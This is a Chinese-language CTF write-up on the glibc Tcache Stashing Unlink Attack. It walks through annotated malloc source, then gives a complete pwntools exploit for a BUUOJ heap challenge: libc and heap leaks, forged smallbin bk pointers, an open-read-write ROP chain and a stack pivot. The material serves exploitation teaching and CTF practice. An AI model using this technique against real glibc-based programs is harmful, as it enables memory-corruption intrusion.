0x00 写在最前

由于glibc在2.29中新增了一系列保护措施使得我们对unsortedbin attack的利用举步维艰,那么我们是否可以找到一种替代的方法使得unsortedbin attack的精神延续下去呢?我们知道,unsortedbin attack是通过修改unsortedbin的bk指针为我们想要写大数的地址-0x10即可向该地址写入一个较大的数值,2.29之后,我们可以通过Tcache Stashing Unlink Attack来达到同样的效果,倘若我们可以控制目标地址的fd的话我们甚至可以直接分配堆块到目标地址。

0x01 源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/*
If a small request, check regular bin. Since these "smallbins"
hold one size each, no searching within bins is necessary.
(For a large request, we need to wait until unsorted chunks are
processed to find best fit. But for small ones, fits are exact
anyway, so we can check now, which is faster.)
*/

if (in_smallbin_range (nb)) //如果申请的堆块在smallbin的范围内的话
{
idx = smallbin_index (nb); //获取该块在smallbin的索引
bin = bin_at (av, idx); //定位到该bin的main_arena地址

if ((victim = last (bin)) != bin) //获取该bin的最后一个chunk为victim,判断是否等于bin,若相等则说明bin是空的,这里如果非空进入if语句
{
bck = victim->bk; //获取smallbin的倒数第二个chunk
if (__glibc_unlikely (bck->fd != victim)) //如果倒数第二块的fd指针不指向倒数第一块的话则报错
malloc_printerr ("malloc(): smallbin double linked list corrupted"); //输出错误
set_inuse_bit_at_offset (victim, nb); //设置prev_inuse位
bin->bk = bck; //将倒数第二块chunk的地址赋值给main_arena这个bin的地址
bck->fd = bin; //将该bin的main_arena地址赋值给倒数第二块的fd,这样的话就完成了最后一个chunk的脱链的过程

if (av != &main_arena) //如果不是main_arena的地址,那么将该地址设置成main_arena
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
//———————————————————————————————————————分界线————————————————————————————————————————————————
#if USE_TCACHE //这里如果检查到开启了tcache的话
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb); //获得该大小的块在tcache的下标
if (tcache && tc_idx < mp_.tcache_bins) //如果开启了tcache,下标小于tcache的最大下标的话,进入分支
{
mchunkptr tc_victim; //创建一个mchunkptr类型的指针,该指针指向malloc_chunk结构体

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count //如果tcache不满
&& (tc_victim = last (bin)) != bin) //将tc_victim指向对应的smallbin,如果smallbin不为空的话进入分支
{
if (tc_victim != 0)
{
bck = tc_victim->bk; //将smallbins中的倒数第二个堆块(定位方式是倒数第一个堆块的bk指针)赋值给bck
set_inuse_bit_at_offset (tc_victim, nb); //设置prev_inuse位
if (av != &main_arena) //如果不等于main_arena的话
set_non_main_arena (tc_victim); //设为main_arena
bin->bk = bck; //将倒数第二块chunk的地址赋值给main_arena里bin的bk
bck->fd = bin; //将main_arena中bin的地址赋值给倒数第二块chunk的fd

tcache_put (tc_victim, tc_idx); //将smallbin的最后一个堆块放到tcache中
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

我们首先来看一个smallbin的布置图:
{8FA8AC4A-0C96-4628-AEC4-81E73A9ADAA1}.png
我们不难发现,如果开启tcache的话并没有检测bck->fd == victim,因此,当我们申请一个对应大小的堆块时,我们经过分界线上面的一顿操作后取出了smallbin的第一块chunk,我们执行分界线下面的代码的时候发现并没有对smallbin中的第三块堆块进行合法性检查,这样,倘若tcache中有6个chunk的话,我们申请一个该大小的堆块时,会触发Tcache Stashing Unlink,这时chunk1被取出,chunk2会被放入tcache中,由于tcache的上限为7,因此chunk2会填满chunk而chunk3不会放入tcache中。
因为源码中bck->fd = bin;的存在,chunk3的fd地址会被写入一个bin的地址(bin的地址在main_arena中),所以我们的攻击思路是伪造chunk2的bk,使其指向我们要修改地址的前0x10处,当触发Tcache Stashing Unlink时,程序会误以为第二块的bk中的地址addr-0x10为第三块堆块,然后根据bck->fd = bin;将该堆块的fd指针腹泻为一个main_arena上的bin地址,而我们的fd指针恰好位于addr处,从而完成对该堆块处写入一个大数。
这里有聪明的小伙伴就会问了,当开启tcache时存取堆块都是优先从tcache中进行的,那么我们如何取出smallbin的堆块呢?我们这里的利用条件是题目使用calloc来分配堆块,calloc函数不会从tcache中存取堆块,而是会从其他bin中存取堆块,使得我们可以利用这种攻击方式。

例题:[Black Watch 入群题]PWN2

add只能分配四种大小的堆块:1.0x10 2.0xf0 3.0x300 4.0x400
{693996BF-04C1-4c73-B258-F2C1832E854E}.png
分配方法是calloc,联想到Tcache Stashing Unlink Attack
{BFF7045B-96D9-472d-95A1-5BDF37683CD5}.png
delete函数未将指针清零,有uaf漏洞
{2BBCA00E-53E4-4fd8-AA85-5A1BC457B108}.png
输入666会判断一个地址的值是否符合条件,这时候我们很自然的想到Tcache Stashing Unlink Attack,我们首先申请9个大小为4的堆块,释放8个,常规方法泄露libc_base,然后也是常规泄露heap_base,将0x100大小的tcache填入6个堆块,接着申请两个0x300的堆块,第一个切割unsortedbin,第二个将unsortedbin的剩余部分放入smallbin中,接下来如法炮制,申请一个最大的堆块释放后申请两个0x300的堆块,这样,我们就得到了两个smallbin中的chunk。
由于smallbin链表是fifo(先进先出),那么我们修改第二个放入smallbin的bk指针为我们需要修改的地址-0x10,这样申请堆块时smallbins就会返回第一块堆块,然后将第二块堆块放入tcache中,接着在addr处写入0x100对应的smallbin在main_arena的地址
写入了main_arena的地址后我们就可以用666来进行栈迁移,迁移到我们预先布置好的orw的堆块上完成解题
exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
context.log_level = 'debug'
#io=process("./black_watch")
io=remote("node4.buuoj.cn",25628)
elf=ELF("./black_watch")
r = lambda : io.recv()
rx = lambda x: io.recv(x)
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
uu64= lambda : u64(io.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
uu32= lambda : u32(io.recvuntil("\xf7")[-4:])
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
shell = lambda : io.interactive()
libc=elf.libc

def add(index, size, content):
sla(b'input: ', b'1')
sla(b'idx:', str(index).encode())
sla(b'0x400):', str(size))
sa(b'content:', content)

def delete(index):
sla(b'input: ', b'2')
sla(b'idx:', str(index).encode())

def edit(index, content):
sla(b'input: ', b'3')
sla(b'idx:', str(index).encode())
sa(b'content:', content)

def show(index):
sla(b'input: ', b'4')
sla(b'idx:', str(index).encode())

#gdb.attach(io)
for i in range(6):
add(1,2,'0x100')
delete(1)
for i in range (9):
add(i,4,b'aaaa')
for i in range (8):
delete(i)

show(7)
leak_addr=uu64()
print(hex(leak_addr))
main_arena=leak_addr-96
malloc_hook=main_arena-0x10
libc_base = malloc_hook - libc.symbols["__malloc_hook"]
print(hex(libc_base))
rdi=libc_base+0x26542
rsi=libc_base+0x26f9e
rdx=libc_base+0x12bda6
open_addr=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
leave_ret=libc_base+0x58373
show(6)
rx(1)
leak_addr=u64(io.recv(6).ljust(8,b'\x00'))
print(hex(leak_addr))
heap_base=leak_addr-0x2cc0
print(hex(heap_base))
add(0,3,b'aaaa')
add(1,3,b'aaaa')#
add(2,4,b'aaaa')
add(3,4,b'aaaa')
delete(2)
add(4,3,b'aaaa')
add(5,3,b'aaaa')#
heap_addr=heap_base+0x4b40
payload=b'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x37e0)+p64(heap_base+0x250+0x10+0x800-0x10)
edit(2,payload)
add(3,2,b'aaaa')
rop=p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rdi)+p64(heap_addr)+p64(open_addr)+p64(rdi)+p64(3)+p64(rsi)+p64(heap_base+0x100)+p64(rdx)+p64(0x50)+p64(read)+p64(rdi)+p64(1)+p64(rsi)+p64(heap_base+0x100)+p64(rdx)+p64(0x50)+p64(write)
payload=b'flag.txt\x00\x00\x00\x00\x00\x00\x00\x00'+rop
add(0,4,payload)
sl(b'666')
pause()
sl(b'a'*0x80+p64(heap_addr+8)+p64(leave_ret))
shell()